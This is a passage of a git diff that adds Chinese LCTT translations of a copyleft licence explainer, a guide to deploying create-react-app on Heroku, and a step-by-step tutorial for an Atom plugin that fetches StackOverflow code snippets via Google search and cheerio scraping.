“自由(permissive)” 许可不同的地方在于,其衍生的作品中,也需要相同的 copyleft 许可。我倾向于通过这种方式来区分两者不同: 自由(permissive)许可向直接下游的开发者提供了最大的自由(包括能够在闭源项目中使用开源代码的权力),而 copyleft 许可则向最终用户提供最大的自由。 + +GNU 项目为 copyleft 提供了这个简单的定义([中文][3],[英文][4]):“规则就是当重新分发该程序时,你不可以添加限制来否认其他人对于[自由软件]的自由。(the rule that when redistributing the program, you cannot add restrictions to deny other people the central freedoms [of free software].)”这可以被认为权威的定义,因为 [GNU 通用许可证(GNU General Public License,GPL)](https://www.gnu.org/licenses/gpl.html)的各种版本的依然是最广泛使用的 copyleft 许可。 + +### 软件中的 copyleft + +GPL 家族是最出名的 copyleft 许可,但是它们并不是唯一的。[Mozilla 公共许可协议(Mozilla Public License,MPL)](https://www.mozilla.org/en-US/MPL/)和[Eclipse 公共许可协议( Eclipse Public License,EPL)](https://www.eclipse.org/legal/epl-v10.html)也很出名。很多[其它的 copyleft 许可](https://tldrlegal.com/licenses/tags/Copyleft) 也有较少的采用。 + +就像之前章节介绍的那样,一个 copyleft 许可意味着下游的项目不可以在软件的使用上添加额外的限制。这最好用一个例子来说明。如果我写了一个名为 MyCoolProgram 的程序,并且使用 copyleft 许可来发布,你将有使用和修改它的自由。你可以发布你修改后的版本,但是你必须让你的用户拥有我给你的同样的自由。(但)如果我使用 “自由(permissive)” 许可,你将可以将它自由地合并到一个不提供源码的闭源软件中。 + +对于我的 MyCoolProgram 程序,和你必须能做什么同样重要的是你必须不能做什么。你不必用和我完全一样的许可协议,只要它们相互兼容就行(但一般的为了简单起见,下游的项目也使用相同的许可)。你不必向我贡献出你的修改,但是你这么做的话,通常被认为一个很好的形式,尤其是这些修改是 bug 修复的话。 + +### 非软件中的 copyleft + +虽然,copyleft 的概念起始于软件世界,但是它也存在于之外的世界。“做你想做的,只要你保留其他人也有做同样的事的权力”的概念是应用于文字创作、视觉艺术等方面的知识共享署名许可([中文][5],[英文][6])的一个显著的特点(CC BY-SA 4.0 是贡献于 Opensource.com 默认的许可,也是很多开源网站,包括 [Linux.cn][7] 在内所采用的内容许可协议)。[GNU 自由文档许可证](https://www.gnu.org/licenses/fdl.html)是另一个非软件协议中 copyleft 的例子。在非软件中使用软件协议通常不被建议。 + +### 我是否需要选择一种 copyleft 许可? + +关于项目应该使用哪一种许可,可以用(已经有了)成篇累牍的文章在阐述。我的建议是首先将许可列表缩小,以满足你的哲学信条和项目目标。GitHub 的 [choosealicense.com](http://choosealicense.com/) 是一种查找满足你的需求的许可协议的好方法。[tl;drLegal](https://tldrlegal.com/)使用平实的语言来解释了许多常见和不常见的软件许可。而且也要考虑你的项目所在的生态系统,围绕一种特定语言和技术的项目经常使用相同或者相似的许可。如果你希望你的项目可以运行的更出色,你可能需要确保你选择的许可是兼容的。 + +关于更多 copyleft 的信息,请查看 [copyleft 指南](https://copyleft.org/)。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/resources/what-is-copyleft + +作者:[Ben Cotton][a] +译者:[yangmingming](https://github.com/yangmingming) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/bcotton +[1]: https://www.gnu.org/licenses/copyleft.zh-cn.html +[2]: https://www.gnu.org/licenses/copyleft.en.html +[3]: https://www.gnu.org/philosophy/free-sw.zh-cn.html +[4]: https://www.gnu.org/philosophy/free-sw.en.html +[5]: https://creativecommons.org/licenses/by-sa/4.0/deed.zh +[6]: https://creativecommons.org/licenses/by-sa/4.0/ +[7]: https://linux.cn/ \ No newline at end of file diff --git a/published/201610/20160816 Deploying React with Zero Configuration.md b/published/201610/20160816 Deploying React with Zero Configuration.md new file mode 100644 index 0000000000..ea37a6e8db --- /dev/null +++ b/published/201610/20160816 Deploying React with Zero Configuration.md @@ -0,0 +1,66 @@ +零配置部署 React +======================== + +你想使用 [React][1] 来构建应用吗?“[入门][2]”是很容易的,可是接下来呢? + +React 是一个构建用户界面的库,而它只是组成一个应用的一部分。应用还有其他的部分——风格、路由器、npm 模块、ES6 代码、捆绑和更多——这就是为什么使用它们的开发者不断流失的原因。这被称为 [JavaScript 疲劳][3]。尽管存在这种复杂性,但是使用 React 的用户依旧继续增长。 + +社区应对这一挑战的方法是共享[模版文件][4]。这些模版文件展示出开发者们架构选择的多样性。官方的“开始入门”似乎离一个实际可用的应用程序相去甚远。 + +### 新的,零配置体验 + +受开发者来自 [Ember.js][5] 和 [Elm][6] 的经验启发,Facebook 的人们想要提供一个简单、直接的方式。他们发明了一个[新的开发 React 应用的方法][10] :`create-react-app`。在初始的公开版发布的三个星期以来,它已经受到了极大的社区关注(超过 8000 个 GitHub 粉丝)和支持(许多的拉取请求)。 + +`create-react-app` 是不同于许多过去使用模板和开发启动工具包的尝试。它的目标是零配置的[惯例-优于-配置][7],使开发者关注于他们的应用的不同之处。 + +零配置一个强大的附带影响是这个工具可以在后台逐步成型。零配置奠定了工具生态系统的基础,创造的自动化和喜悦的开发远远超越 React 本身。 + +### 将零配置部署到 Heroku 上 + +多亏了 create-react-app 中打下的零配置基础,零配置的目标看起来快要达到了。因为这些新的应用都使用一个公共的、默认的架构,构建的过程可以被自动化,同时可以使用智能的默认项来配置。因此,[我们创造这个社区构建包来体验在 Heroku 零配置的过程][8]。 + +#### 在两分钟内创造和发布 React 应用 + +你可以免费在 Heroku 上开始构建 React 应用。 +``` +npm install -g create-react-app +create-react-app my-app +cd my-app +git init +heroku create -b https://github.com/mars/create-react-app-buildpack.git +git add . +git commit -m "react-create-app on Heroku" +git push heroku master +heroku open +``` +[使用构建包文档][9]亲自试试吧。 + +### 从零配置出发 + +create-react-app 非常的新(目前版本是 0.2),同时因为它的目标是简洁的开发者体验,更多高级的使用情景并不支持(或者肯定不会支持)。例如,它不支持服务端渲染或者自定义捆绑。 + +为了支持更好的控制,create-react-app 包括了 npm run eject 命令。Eject 将所有的工具(配置文件和 package.json 依赖库)解压到应用所在的路径,因此你可以按照你心中的想法定做。一旦被弹出,你做的改变或许有必要选择一个特定的用 Node.js 或静态的构建包来布署。总是通过一个分支/拉取请求来使类似的工程改变生效,因此这些改变可以轻易撤销。Heroku 的预览应用对测试发布的改变是完美的。 + +我们将会追踪 create-react-app 的进度,当它们可用时,同时适配构建包来支持更多的高级使用情况。发布万岁! + +-------------------------------------------------------------------------------- + +via: https://blog.heroku.com/deploying-react-with-zero-configuration + +作者:[Mars Hall][a] +译者:[zky001](https://github.com/zky001) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://blog.heroku.com/deploying-react-with-zero-configuration +[1]: https://facebook.github.io/react/ +[2]: https://facebook.github.io/react/docs/getting-started.html +[3]: https://medium.com/@ericclemmons/javascript-fatigue-48d4011b6fc4 +[4]: https://github.com/search?q=react+boilerplate +[5]: http://emberjs.com/ +[6]: http://elm-lang.org/ +[7]: http://rubyonrails.org/doctrine/#convention-over-configuration +[8]: https://github.com/mars/create-react-app-buildpack +[9]: https://github.com/mars/create-react-app-buildpack#usage +[10]: https://github.com/facebookincubator/create-react-app diff --git a/published/201610/20160820 Building your first Atom plugin.md b/published/201610/20160820 Building your first Atom plugin.md new file mode 100644 index 0000000000..618c802086 --- /dev/null +++ b/published/201610/20160820 Building your first Atom plugin.md @@ -0,0 +1,754 @@ +制作你的第一个 Atom 文本编辑器插件 +=========== + +这篇教程将会教你怎么制作你的第一个 Atom 文本编辑器的插件。我们将会制作一个山寨版的 [Sourcerer][2],这是一个从 StackOverflow 查询并使用代码片段的插件。到教程结束时,你将会制作好一个将编程问题(用英语描述的)转换成获取自 StackOverflow 的代码片段的插件,像这样: + +![](https://cloud.githubusercontent.com/assets/6755555/17759382/836dd780-64ab-11e6-8f6a-329f66f01fd7.gif) + +#### 教程须知 + +Atom 文本编辑器是用 web 技术创造出来的。我们将完全使用 JavaScript 的 EcmaScript 6 规范来制作插件。你需要熟悉以下内容: + +- 使用命令行 +- JavaScript 编程 +- [Promises][14] +- [HTTP][16] + +#### 教程的仓库 + +你可以跟着教程一步一步走,或者看看 [放在 GitHub 上的仓库][3],这里有插件的源代码。这个仓库的历史提交记录包含了这里每一个标题。 + +### 开始 + +#### 安装 Atom + +根据 [Atom 官网][16] 的说明来下载 Atom。我们同时还要安装上 `apm`(Atom 包管理器的命令行工具)。你可以打开 Atom 并在应用菜单中导航到 `Atom > Install Shell Commands` 来安装。打开你的命令行终端,运行 `apm -v` 来检查 `apm` 是否已经正确安装好,安装成功的话打印出来的工具版本和相关环境信息应该是像这样的: + +``` +apm -v +> apm 1.9.2 +> npm 2.13.3 +> node 0.10.40 +> python 2.7.10 +> git 2.7.4 +``` + +#### 生成骨架代码 + +让我们使用 Atom 提供的一个实用工具创建一个新的 **package**(软件包)来开始这篇教程。 + +- 启动编辑器,按下 `Cmd+Shift+P`(MacOS)或者 `Ctrl+Shift+P`(Windows/Linux)来打开命令面板(Command Palette)。 +- 搜索“Package Generator: Generate Package”并点击列表中正确的条目,你会看到一个输入提示,输入软件包的名称:“sourcefetch”。 +- 按下回车键来生成这个骨架代码包,它会自动在 Atom 中打开。 + +如果你在侧边栏没有看到软件包的文件,依次按下 `Cmd+K` `Cmd+B`(MacOS)或者 `Ctrl+K` `Ctrl+B`(Windows/Linux)。 + +![](https://cloud.githubusercontent.com/assets/6755555/17759387/8387a354-64ab-11e6-97db-ea469f008bef.gif) + +> 命令面板(Command Palette)可以让你通过模糊搜索来找到并运行软件包。这是一个执行命令比较方便的途径,你不用去找导航菜单,也不用刻意去记快捷键。我们将会在整篇教程中使用这个方法。 + +#### 运行骨架代码包 + +在开始编程前让我们来试用一下这个骨架代码包。我们首先需要重启 Atom,这样它才可以识别我们新增的软件包。再次打开命令面板,执行 `Window: Reload` 命令。 + +重新加载当前窗口以确保 Atom 执行的是我们最新的源代码。每当需要测试我们对软件包的改动的时候,就需要运行这条命令。 + +通过导航到编辑器菜单的 `Packages > sourcefetch > Toggle` 或者在命令面板执行 `sourcefetch:toggle` 来运行软件包的 `toggle` 命令。你应该会看到屏幕的顶部出现了一个小黑窗。再次运行这条命令就可以隐藏它。 + +![](https://cloud.githubusercontent.com/assets/6755555/17759386/83799fc0-64ab-11e6-9f0c-0df9b1dbff8b.gif) + +#### “toggle”命令 + +打开 `lib/sourcefetch.js`,这个文件包含有软件包的逻辑和 `toggle` 命令的定义。 + +``` +toggle() { + console.log('Sourcefetch was toggled!'); + return ( + this.modalPanel.isVisible() ? + this.modalPanel.hide() : + this.modalPanel.show() + ); +} +``` + +`toggle` 是这个模块导出的一个函数。根据模态面板的可见性,它通过一个[三目运算符][17] 来调用 `show` 和 `hide` 方法。`modalPanel` 是 [Panel][18](一个由 Atom API 提供的 UI 元素) 的一个实例。我们需要在 `export default` 内部声明 `modalPanel` 才可以让我们通过一个实例变量 `this` 来访问它。 + +``` +this.subscriptions.add(atom.commands.add('atom-workspace', { + 'sourcefetch:toggle': () => this.toggle() +})); +``` + +上面的语句让 Atom 在用户运行 `sourcefetch:toggle` 的时候执行 `toggle` 方法。我们指定了一个 [匿名函数][19] `() => this.toggle()`,每次执行这条命令的时候都会执行这个函数。这是[事件驱动编程][20](一种常用的 JavaScript 模式)的一个范例。 + +#### Atom 命令 + +命令只是用户触发事件时使用的一些字符串标识符,它定义在软件包的命名空间内。我们已经用过的命令有: + +- `package-generator:generate-package` +- `Window:reload` +- `sourcefetch:toggle` + +软件包对应到命令,以执行代码来响应事件。 + +### 进行你的第一次代码更改 + +让我们来进行第一次代码更改——我们将通过改变 `toggle` 函数来实现逆转用户选中文本的功能。 + +#### 改变 “toggle” 函数 + +如下更改 `toggle` 函数。 + +``` +toggle() { + let editor + if (editor = atom.workspace.getActiveTextEditor()) { + let selection = editor.getSelectedText() + let reversed = selection.split('').reverse().join('') + editor.insertText(reversed) + } +} +``` + +#### 测试你的改动 + +- 通过在命令面板运行 `Window: Reload` 来重新加载 Atom。 +- 通过导航到 `File > New` 来创建一个新文件,随便写点什么并通过光标选中它。 +- 通过命令面板、Atom 菜单或者右击文本然后选中 `Toggle sourcefetch` 来运行 `sourcefetch:toggle` 命令。 + +更新后的命令将会改变选中文本的顺序: + +![](https://cloud.githubusercontent.com/assets/6755555/17759381/836acd60-64ab-11e6-84dc-4ef4471a361f.gif) + +在 [sourcefetch 教程仓库][4] 查看这一步的全部代码更改。 + +### Atom 编辑器 API + +我们添加的代码通过用 [TextEditor API][21] 来访问编辑器内的文本并进行操作。让我们来仔细看看。 + +``` +let editor +if (editor = atom.workspace.getActiveTextEditor()) { /* ... */ } +``` + +头两行代码获取了 [TextEditor][5] 实例的一个引用。变量的赋值和后面的代码被包在一个条件结构里,这是为了处理没有可用的编辑器实例的情况,例如,当用户在设置菜单中运行该命令时。 + +``` +let selection = editor.getSelectedText() +``` + +调用 `getSelectedText` 方法可以让我们访问到用户选中的文本。如果当前没有文本被选中,函数将返回一个空字符串。 + +``` +let reversed = selection.split('').reverse().join('') +editor.insertText(reversed) +``` + +我们选中的文本通过一个 [JavaScript 字符串方法][6] 来逆转。最后,我们调用 `insertText` 方法来将选中的文本替换为逆转后的文本副本。通过阅读 [Atom API 文档][5],你可以学到更多关于 TextEditor 的不同的方法。 + +### 浏览骨架代码 + +现在我们已经完成第一次代码更改了,让我们浏览骨架代码包的代码来深入了解一下 Atom 的软件包是怎样构成的。 + +#### 主文件 + +主文件是 Atom 软件包的入口文件。Atom 通过 `package.json` 里的条目设置来找到主文件的位置: + +``` +"main": "./lib/sourcefetch", +``` + +这个文件导出一个带有生命周期函数(Atom 在特定的事件发生时调用的处理函数)的对象。 + +- **activate** 会在 Atom 初次加载软件包的时候调用。这个函数用来初始化一些诸如软件包所需的用户界面元素的对象,以及订阅软件包命令的处理函数。 +- **deactivate** 会在软件包停用的时候调用,例如,当用户关闭或者刷新编辑器的时候。 +- **serialize** Atom 调用它在使用软件包的过程中保存软件包的当前状态。它的返回值会在 Atom 下一次加载软件包的时候作为一个参数传递给 `activate`。 + +我们将会重命名我们的软件包命令为 `fetch`,并移除一些我们不再需要的用户界面元素。按照如下更改主文件: + +``` +'use babel'; + +import { CompositeDisposable } from 'atom' + +export default { + + subscriptions: null, + + activate() { + this.subscriptions = new CompositeDisposable() + + this.subscriptions.add(atom.commands.add('atom-workspace', { + 'sourcefetch:fetch': () => this.fetch() + })) + }, + + deactivate() { + this.subscriptions.dispose() + }, + + fetch() { + let editor + if (editor = atom.workspace.getActiveTextEditor()) { + let selection = editor.getSelectedText() + selection = selection.split('').reverse().join('') + editor.insertText(selection) + } + } +}; +``` + +### “启用”命令 + +为了提升性能,Atom 软件包可以用时加载。我们可以让 Atom 在用户执行特定的命令的时候才加载我们的软件包。这些命令被称为 **启用命令**,它们在 `package.json` 中定义: + +``` +"activationCommands": { + "atom-workspace": "sourcefetch:toggle" +}, +``` + +更新一下这个条目设置,让 `fetch` 成为一个启用命令。 + +``` +"activationCommands": { + "atom-workspace": "sourcefetch:fetch" +}, +``` + +有一些软件包需要在 Atom 启动的时候被加载,例如那些改变 Atom 外观的软件包。在那样的情况下,`activationCommands` 会被完全忽略。 + +### “触发”命令 + +#### 菜单项 + +`menus` 目录下的 JSON 文件指定了哪些菜单项是为我们的软件包而建的。让我们看看 `menus/sourcefetch.json`: + +``` +"context-menu": { + "atom-text-editor": [ + { + "label": "Toggle sourcefetch", + "command": "sourcefetch:toggle" + } + ] +}, +``` + +这个 `context-menu` 对象可以让我们定义右击菜单的一些新条目。每一个条目都是通过一个显示在菜单的 `label` 属性和一个点击后执行的命令的 `command` 属性来定义的。 + +``` +"context-menu": { + "atom-text-editor": [ + { + "label": "Fetch code", + "command": "sourcefetch:fetch" + } + ] +}, +``` + +同一个文件中的这个 `menu` 对象用来定义插件的自定义应用菜单。我们如下重命名它的条目: + +``` +"menu": [ + { + "label": "Packages", + "submenu": [ + { + "label": "sourcefetch", + "submenu": [ + { + "label": "Fetch code", + "command": "sourcefetch:fetch" + } + ] + } + ] + } +] +``` + +#### 键盘快捷键 + +命令还可以通过键盘快捷键来触发。快捷键通过 `keymaps` 目录的 JSON 文件来定义: + +``` +{ + "atom-workspace": { + "ctrl-alt-o": "sourcefetch:toggle" + } +} +``` + +以上代码可以让用户通过 `Ctrl+Alt+O`(Windows/Linux) 或 `Cmd+Alt+O`(MacOS) 来触发 `toggle` 命令。 + +重命名引用的命令为 `fetch`: + +``` +"ctrl-alt-o": "sourcefetch:fetch" +``` + +通过执行 `Window: Reload` 命令来重启 Atom。你应该会看到 Atom 的右击菜单更新了,并且逆转文本的功能应该还可以像之前一样使用。 + +在 [sourcefetch 教程仓库][7] 查看这一步所有的代码更改。 + +### 使用 NodeJS 模块 + +现在我们已经完成了第一次代码更改并且了解了 Atom 软件包的结构,让我们介绍一下 [Node 包管理器(npm)][22] 中的第一个依赖项模块。我们将使用 **request** 模块发起 HTTP 请求来下载网站的 HTML 文件。稍后将会用到这个功能来扒 StackOverflow 的页面。 + +#### 安装依赖 + +打开你的命令行工具,切换到你的软件包的根目录并运行: + +``` +npm install --save request@2.73.0 +apm install +``` + +这两条命令将 `request` 模块添加到我们软件包的依赖列表并将模块安装到 `node_modules` 目录。你应该会在 `package.json` 看到一个新条目。`@` 符号的作用是让 npm 安装我们这篇教程需要用到的特定版本的模块。运行 `apm install` 是为了让 Atom 知道使用我们新安装的模块。 + +``` +"dependencies": { + "request": "^2.73.0" +} +``` + +#### 下载 HTML 并将记录打印在开发者控制台 + +通过在 `lib/sourcefetch.js` 的顶部添加一条引用语句引入 `request` 模块到我们的主文件: + +``` +import { CompositeDisposable } from 'atom' +import request from 'request' +``` + +现在,在 `fetch` 函数下面添加一个新函数 `download` 作为模块的导出项: + +``` +export default { + + /* subscriptions, activate(), deactivate() */ + + fetch() { + ... + }, + + download(url) { + request(url, (error, response, body) => { + if (!error && response.statusCode == 200) { + console.log(body) + } + }) + } +} +``` + +这个函数用 `request` 模块来下载一个页面的内容并将记录输出到控制台。当 HTTP 请求完成之后,我们的[回调函数][23]会将响应体作为参数来被调用。 + +最后一步是更新 `fetch` 函数以调用 `download` 函数: + +``` +fetch() { + let editor + if (editor = atom.workspace.getActiveTextEditor()) { + let selection = editor.getSelectedText() + this.download(selection) + } +}, +``` + +`fetch` 函数现在的功能是将 selection 当作一个 URL 传递给 `download` 函数,而不再是逆转选中的文本了。让我们来看看这次的更改: + +- 通过执行 `Window: Reload` 命令来重新加载 Atom。 +- 打开开发者工具。为此,导航到菜单中的 `View > Developer > Toggle Developer Tools`。 +- 新建一个文件,导航到 `File > New`。 +- 输入一个 URL 并选中它,例如:`http://www.atom.io`。 +- 用上述的任意一种方法执行我们软件包的命令: + +![](https://cloud.githubusercontent.com/assets/6755555/17759384/836ea91c-64ab-11e6-8fbe-7d15fb482c6d.gif) + +> **开发者工具**让 Atom 软件包的调试更轻松。每个 `console.log` 语句都可以将信息打印到交互控制台,你还可以使用 `Elements` 选项卡来浏览整个应用的可视化结构——即 HTML 的[文本对象模型(DOM)][8]。 + +在 [sourcefetch 教程仓库][9] 查看这一步所有的代码更改。 + +### 用 Promises 来将下载好的 HTML 插入到编辑器中 + +理想情况下,我们希望 `download` 函数可以将 HTML 作为一个字符串来返回,而不仅仅是将页面的内容打印到控制台。然而,返回文本内容是无法实现的,因为我们要在回调函数里面访问内容而不是在 `download` 函数那里。 + +我们会通过返回一个 [Promise][24] 来解决这个问题,而不再是返回一个值。让我们改动 `download` 函数来返回一个 Promise: + +``` +download(url) { + return new Promise((resolve, reject) => { + request(url, (error, response, body) => { + if (!error && response.statusCode == 200) { + resolve(body) + } else { + reject({ + reason: 'Unable to download page' + }) + } + }) + }) +} +``` + +Promises 允许我们通过将异步逻辑封装在一个提供两个回调方法的函数里来返回获得的值(`resolve` 用来处理请求成功的返回值,`reject` 用来向使用者报错)。如果请求返回了错误我们就调用 `reject`,否则就用 `resolve` 来处理 HTML。 + +让我们更改 `fetch` 函数来使用 `download` 返回的 Promise: + +``` +fetch() { + let editor + if (editor = atom.workspace.getActiveTextEditor()) { + let selection = editor.getSelectedText() + this.download(selection).then((html) => { + editor.insertText(html) + }).catch((error) => { + atom.notifications.addWarning(error.reason) + }) + } +}, +``` + +在我们新版的 `fetch` 函数里,我们通过在 `download` 返回的 Promise 调用 `then` 方法来对 HTML 进行操作。这会将 HTML 插入到编辑器中。我们同样会通过调用 `catch` 方法来接收并处理所有的错误。我们通过用 [Atom Notification API][25] 来显示警告的形式来处理错误。 + +看看发生了什么变化。重新加载 Atom 并在一个选中的 URL 上执行软件包命令: + +![](https://cloud.githubusercontent.com/assets/6755555/17759379/8357bb08-64ab-11e6-9bd2-6f63b8f50dcc.gif) + +如果这个 URL 是无效的,一个警告通知将会弹出来: + +![](https://cloud.githubusercontent.com/assets/6755555/17759378/833ab09e-64ab-11e6-9896-2f874b0fdc8a.gif) + +在 [sourcefetch 教程仓库][10] 查看这一步所有的代码更改。 + +#### 编写一个爬虫来提取 StackOverflow 页面的代码片段 + +下一步涉及用我们前面扒到的 StackOverflow 的页面的 HTML 来提取代码片段。我们尤其关注那些来自采纳答案(提问者选择的一个正确答案)的代码。我们可以在假设这类答案都是相关且正确的前提下大大简化我们这个软件包的实现。 + +#### 使用 jQuery 和 Chrome 开发者工具来构建查询 + +这一部分假设你使用的是 [Chrome][26] 浏览器。你接下来可以使用其它浏览器,但是提示可能会不一样。 + +让我们先看看一张典型的包含采纳答案和代码片段的 StackOverflow 页面。我们将会使用 Chrome 开发者工具来浏览 HTML: + +- 打开 Chrome 并跳到任意一个带有采纳答案和代码的 StackOverflow 页面,比如像这个用 Python 写的 [hello world][27] 的例子或者这个关于 [用 `C` 来读取文本内容的问题][28]。 +- 滚动窗口到采纳答案的位置并选中一部分代码。 +- 右击选中文本并选择 `检查`。 +- 使用元素侦察器来检查代码片段在 HTML 中的位置。 + +注意文本结构应该是这样的: + +``` +
+ ... + ... +
+        
+          ...snippet elements...
+        
+      
+ ... + ... +
+``` + +- 采纳的答案通过一个 class 为 `accepted-answer` 的 `div` 来表示 +- 代码块位于 `pre` 元素的内部 +- 呈现代码片段的元素就是里面那一对 `code` 标签 + +![](https://cloud.githubusercontent.com/assets/6755555/17759380/83689a90-64ab-11e6-89b2-7172c03baae7.gif) + +现在让我们写一些 `jQuery` 代码来提取代码片段: + +- 在开发者工具那里点击 **Console** 选项卡来访问 Javascript 控制台。 +- 在控制台中输入 `$('div.accepted-answer pre code').text()` 并按下回车键。 + +你应该会看到控制台中打印出采纳答案的代码片段。我们刚刚运行的代码使用了一个 jQuery 提供的特别的 `$` 函数。`$` 接收要选择的**查询字符串**并返回网站中的某些 HTML 元素。让我们通过思考几个查询案例看看这段代码的工作原理: + +``` +$('div.accepted-answer') +> [
] +``` + +上面的查询会匹配所有 class 为 `accepted-answer` 的 `
` 元素,在我们的案例中只有一个 div。 + +``` +$('div.accepted-answer pre code') +> [...] +``` + +在前面的基础上改造了一下,这个查询会匹配所有在之前匹配的 `
` 内部的 `
` 元素内部的 `` 元素。
+
+```
+$('div.accepted-answer pre code').text()
+> "print("Hello World!")"
+```
+
+`text` 函数提取并连接原本将由上一个查询返回的元素列表中的所有文本。这也从代码中去除了用来使语法高亮的元素。
+
+### 介绍 Cheerio
+
+我们的下一步涉及使用我们创建好的查询结合 [Cheerio][29](一个服务器端实现的 jQuery)来实现扒页面的功能。
+
+#### 安装 Cheerio
+
+打开你的命令行工具,切换到你的软件包的根目录并执行:
+
+```
+npm install --save cheerio@0.20.0
+apm install
+```
+
+#### 实现扒页面的功能
+
+在 `lib/sourcefetch.js` 为 `cheerio` 添加一条引用语句:
+
+```
+import { CompositeDisposable } from 'atom'
+import request from 'request'
+import cheerio from 'cheerio'
+```
+
+现在创建一个新函数 `scrape`,它用来提取 StackOverflow HTML 里面的代码片段:
+
+```
+fetch() {
+  ...
+},
+
+scrape(html) {
+  $ = cheerio.load(html)
+  return $('div.accepted-answer pre code').text()
+},
+
+download(url) {
+  ...
+}
+```
+
+最后,让我们更改 `fetch` 函数以传递下载好的 HTML 给 `scrape` 而不是将其插入到编辑器:
+
+```
+fetch() {
+  let editor
+  let self = this
+
+  if (editor = atom.workspace.getActiveTextEditor()) {
+    let selection = editor.getSelectedText()
+    this.download(selection).then((html) => {
+      let answer = self.scrape(html)
+      if (answer === '') {
+        atom.notifications.addWarning('No answer found :(')
+      } else {
+        editor.insertText(answer)
+      }
+    }).catch((error) => {
+      console.log(error)
+      atom.notifications.addWarning(error.reason)
+    })
+  }
+},
+```
+
+我们扒取页面的功能仅仅用两行代码就实现了,因为 cheerio 已经替我们做好了所有的工作!我们通过调用 `load` 方法加载 HTML 字符串来创建一个 `$` 函数,然后用这个函数来执行 jQuery 语句并返回结果。你可以在官方 [开发者文档][30] 查看完整的 `Cheerio API`。
+
+### 测试更新后的软件包
+
+重新加载 Atom 并在一个选中的 StackOverflow URL 上运行 `soucefetch:fetch` 以查看到目前为止的进度。
+
+如果我们在一个有采纳答案的页面上运行这条命令,代码片段将会被插入到编辑器中:
+
+![](https://cloud.githubusercontent.com/assets/6755555/17759383/836e26b8-64ab-11e6-9f16-321903470ce2.gif)
+
+如果我们在一个没有采纳答案的页面上运行这条命令,将会弹出一个警告通知:
+
+![](https://cloud.githubusercontent.com/assets/6755555/17759388/838d3864-64ab-11e6-8091-b4d15bd56025.gif)
+
+我们最新的 `fetch` 函数给我们提供了一个 StackOverflow 页面的代码片段而不再是整个 HTML 内容。要注意我们更新的 `fetch` 函数会检查有没有答案并显示通知以提醒用户。
+
+在 [sourcefetch 教程仓库][11] 查看这一步所有的代码更改。
+
+### 实现用来查找相关的 StackOverflow URL 的谷歌搜索功能
+
+现在我们已经将 StackOverflow 的 URL 转化为代码片段了,让我们来实现最后一个函数——`search`,它应该要返回一个相关的 URL 并附加一些像“hello world”或者“快速排序”这样的描述。我们会通过一个非官方的 `google` npm 模块来使用谷歌搜索功能,这样可以让我们以编程的方式来搜索。
+
+#### 安装这个 Google npm 模块
+
+通过在软件包的根目录打开命令行工具并执行命令来安装 `google` 模块:
+
+```
+npm install --save google@2.0.0
+apm install
+```
+
+#### 引入并配置模块
+
+在 `lib/sourcefetch.js` 的顶部为 `google` 模块添加一条引用语句:
+
+```
+import google from "google"
+```
+
+我们将配置一下 `google` 以限制搜索期间返回的结果数。将下面这行代码添加到引用语句下面以限制搜索返回最热门的那个结果。
+
+```
+google.resultsPerPage = 1
+```
+
+#### 实现 search 函数
+
+接下来让我们来实现我们的 `search` 函数:
+
+```
+fetch() {
+  ...
+},
+
+search(query, language) {
+  return new Promise((resolve, reject) => {
+    let searchString = `${query} in ${language} site:stackoverflow.com`
+
+    google(searchString, (err, res) => {
+      if (err) {
+        reject({
+          reason: 'A search error has occured :('
+        })
+      } else if (res.links.length === 0) {
+        reject({
+          reason: 'No results found :('
+        })
+      } else {
+        resolve(res.links[0].href)
+      }
+    })
+  })
+},
+
+scrape() {
+  ...
+}
+```
+
+以上代码通过谷歌来搜索一个和指定的关键词以及编程语言相关的 StackOverflow 页面,并返回一个最热门的 URL。让我们看看这是怎样来实现的:
+
+```
+let searchString = `${query} in ${language} site:stackoverflow.com`
+```
+
+我们使用用户输入的查询和当前所选的语言来构造搜索字符串。比方说,当用户在写 Python 的时候输入“hello world”,查询语句就会变成 `hello world in python site:stackoverflow.com`。字符串的最后一部分是谷歌搜索提供的一个过滤器,它让我们可以将搜索结果的来源限制为 StackOverflow。
+
+```
+google(searchString, (err, res) => {
+  if (err) {
+    reject({
+      reason: 'A search error has occured :('
+    })
+  } else if (res.links.length === 0) {
+    reject({
+      reason: 'No results found :('
+    })
+  } else {
+    resolve(res.links[0].href)
+  }
+})
+```
+
+我们将 `google` 方法放在一个 `Promise` 里面,这样我们可以异步地返回我们的 URL。我们会传递由 `google` 返回的所有错误并且会在没有可用的搜索结果的时候返回一个错误。否则我们将通过 `resolve` 来解析最热门结果的 URL。
+
+### 更新 fetch 来使用 search
+
+我们的最后一步是更新 `fetch` 函数来使用 `search` 函数:
+
+```
+fetch() {
+  let editor
+  let self = this
+
+  if (editor = atom.workspace.getActiveTextEditor()) {
+    let query = editor.getSelectedText()
+    let language = editor.getGrammar().name
+
+    self.search(query, language).then((url) => {
+      atom.notifications.addSuccess('Found google results!')
+      return self.download(url)
+    }).then((html) => {
+      let answer = self.scrape(html)
+      if (answer === '') {
+        atom.notifications.addWarning('No answer found :(')
+      } else {
+        atom.notifications.addSuccess('Found snippet!')
+        editor.insertText(answer)
+      }
+    }).catch((error) => {
+      atom.notifications.addWarning(error.reason)
+    })
+  }
+}
+```
+
+让我们看看发生了什么变化:
+
+- 我们选中的文本现在变成了用户输入的 `query`
+- 我们使用 [TextEditor API][21] 来获取当前编辑器选项卡使用的 `language`
+- 我们调用 `search` 方法来获取一个 URL,然后通过在得到的 Promise 上调用 `then` 方法来访问这个 URL
+
+我们不在 `download` 返回的 Promise 上调用 `then` 方法,而是在前面 `search` 方法本身链式调用的另一个 `then` 方法返回的 Promise 上面接着调用 `then` 方法。这样可以帮助我们避免[回调地狱][31]  
+
+在 [sourcefetch 教程仓库][12] 查看这一步所有的代码更改。
+
+### 测试最终的插件
+
+大功告成了!重新加载 Atom,对一个“问题描述”运行软件包的命令来看看我们最终的插件是否工作,不要忘了在编辑器右下角选择一种语言。
+
+![](https://cloud.githubusercontent.com/assets/6755555/17759382/836dd780-64ab-11e6-8f6a-329f66f01fd7.gif)
+
+### 下一步
+
